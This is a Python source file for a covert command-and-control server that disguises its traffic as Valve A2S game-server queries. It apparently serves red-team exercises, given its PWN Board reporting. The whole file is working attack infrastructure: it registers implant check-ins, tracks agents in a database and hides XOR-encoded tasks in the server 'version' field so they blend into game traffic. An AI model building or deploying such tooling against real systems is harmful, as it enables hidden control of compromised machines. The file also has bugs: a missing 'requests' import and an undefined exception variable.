import socket
import threading
import struct
import random
import time
from base64 import b64encode, b64decode

from .config import config
from .database import Task, Agent
from .logging import log, LogLevel

PADDING = b'\x00'

class A2Sserver:
    def __init__(self, host: str, port: int):
        self.__host = host
        self.__port = port

        self.__server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.__server_socket.bind((self.__host, self.__port))

        self.key = config['key']

    def __update_pwnboard(self, ip: str) -> None:
        try:
            requests.post(config['pwnboard']['url'], json={'ip': ip, 'application': 'Source Control', 'type': 'a2s c2'}, headers={'Content-Type': 'application/json', 'Authorization': f'Bearer {config["pwnboard"]["access_token"]}'}, timeout=5)
        except:
             log(LogLevel.ERROR, f'Failed to report callback to PWN Board. Reason: {e}')

    def __xor_message(self, msg: str) -> str:
        xored = ''

        for i in range(len(msg)):
            xored += chr(ord(msg[i]) ^ ord(self.key[i % len(self.key)]))

        return(xored)

    def __make_info_response(self, bots: int, version: str) -> bytes:
        response = b'\xff\xff\xff\xff\x49' # Header

        # Protocol 
        response += b'\x11'

        # Server Name
        response += config['server']['server_name'].encode('utf-8')
        response += PADDING

        # Map name
        response += config['server']['map_name'].encode('utf-8')
        response += PADDING    

        # Folder
        response += config['server']['folder'].encode('utf-8')
        response += PADDING

        # Game
        response += config['server']['game'].encode('utf-8')
        response += PADDING

        # Game ID
        response += (int(config['server']['app_id'])).to_bytes(2, 'little')

        # Playercount
        response += (len(config['server']['players'])).to_bytes(1, 'little')


        # Max playercount
        response += (int(config['server']['max_players'])).to_bytes(1, 'little')

         # Bot count
        response += bots.to_bytes(1, 'little')
        
        # Server type
        if config['server']['dedicated'] == True:
            response += 'd'.encode('utf-8')
        else:
            response += 'l'.encode('utf-8')
        
        # Platform
        response += config['server']['platform'].encode('utf-8') 

        # Visibility
        response += b'\x00'

        # VAC
        if config['server']['vac'] == True:
            response += b'\x01'
        else:
            response += b'\x00'

        # Version
        response += b64encode(self.__xor_message(version).encode('utf-8'))
        response += PADDING

        return(response)

    def __make_player_response(self) -> bytes:
        response = b'\xff\xff\xff\xff\x44'

        # Playercount
        response += (len(config['server']['players'])).to_bytes(1, 'little')

        # Player list
        for i in range(len(config['server']['players'])):
            # Player index
            response += (i).to_bytes(1, 'little')

            # Player name
            response += config['server']['players'][i].encode('utf-8')
            response += PADDING 

            # Frags
            response += (random.randint(0, 50)).to_bytes(4, 'little')

            # Duration
            response += (random.randint(0, 1000)).to_bytes(4, 'little')

        return(response)

    def __get_agent_ip(self, msg: bytes) -> str:
        return(self.__xor_message(b64decode(msg[24:-1]).decode('utf-8')))

    def __client_handler(self, address: tuple, msg: bytes) -> None:
        log(LogLevel.INFO, f'Connection from {address[0]}:{address[1]} with message: {msg}')

        try:
            ip = self.__get_agent_ip(msg)

            if ip == '' or ip == ' ' or ip == None:
                # The client might not be a Source Control agent, send a normal response
                match msg[4]:
                    case 84: # A2S_INFO
                        self.__server_socket.sendto(self.__make_info_response(0, config['server']['version']), address)

                    case 85: # A2S_PLAYER
                        self.__server_socket.sendto(self.__make_player_response(), address)

                    case 86: # A2S_RULES
                        self.__server_socket.sendto(b'\xff\xff\xff\xff\x45\x00\x00\x00', address) # Send empty rules
                
                return

            # What type of query is this?
            match msg[4]:
                case 84: # A2S_INFO

                    # Do we already have the agent?
                    if len(Agent.select().where(Agent.ip == ip).dicts()) == 0:
                        Agent.create(ip=ip, checkins=0, last_checkin=time.time(), tasks_sent=0, tags='') # Add them

                    # Add the checkin
                    Agent.update(checkins=Agent.checkins + 1).where(Agent.ip == ip).execute()

                    # Update their last checkin
                    Agent.update(last_checkin=time.time()).where(Agent.ip == ip).execute()

                    # Get the agnet's open tasks
                    open_tasks = Task.select().where(Task.agent_ip == ip, Task.completed == 0).dicts()

                    if len(open_tasks) == 0:
                        version = config['server']['version']
                    else:
                        version = open_tasks[0]['task']
                    
                    # Send the info response
                    self.__server_socket.sendto(self.__make_info_response(len(open_tasks), version), address)

                    if len(open_tasks) != 0:
                        # Mark the task as completed
                        Task.update(completed = 1).where(Task.id == open_tasks[0]['id']).execute()

                    if config['pwnboard']['use_pwnboard'] == True:
                        self.__update_pwnboard(ip)

                case 85: # A2S_PLAYER
                    self.__server_socket.sendto(self.__make_player_response(), address)

                case 86: # A2S_RULES
                    self.__server_socket.sendto(b'\xff\xff\xff\xff\x45\x00\x00\x00', address) # Send empty rules

        except Exception as e:
            log(LogLevel.ERROR, f'Failed to create response for {address[0]}:{address[1]}. Reason: {e}')

    def start(self) -> None:
        while True:
            try:
                msg, address = self.__server_socket.recvfrom(1024)

                client = threading.Thread(target=self.__client_handler, args=(address,msg))
                client.start()
            except Exception as e:
                log(LogLevel.ERROR, f'Failed to accept to connection from {address[0]}:{address[1]}. Reason: {e}')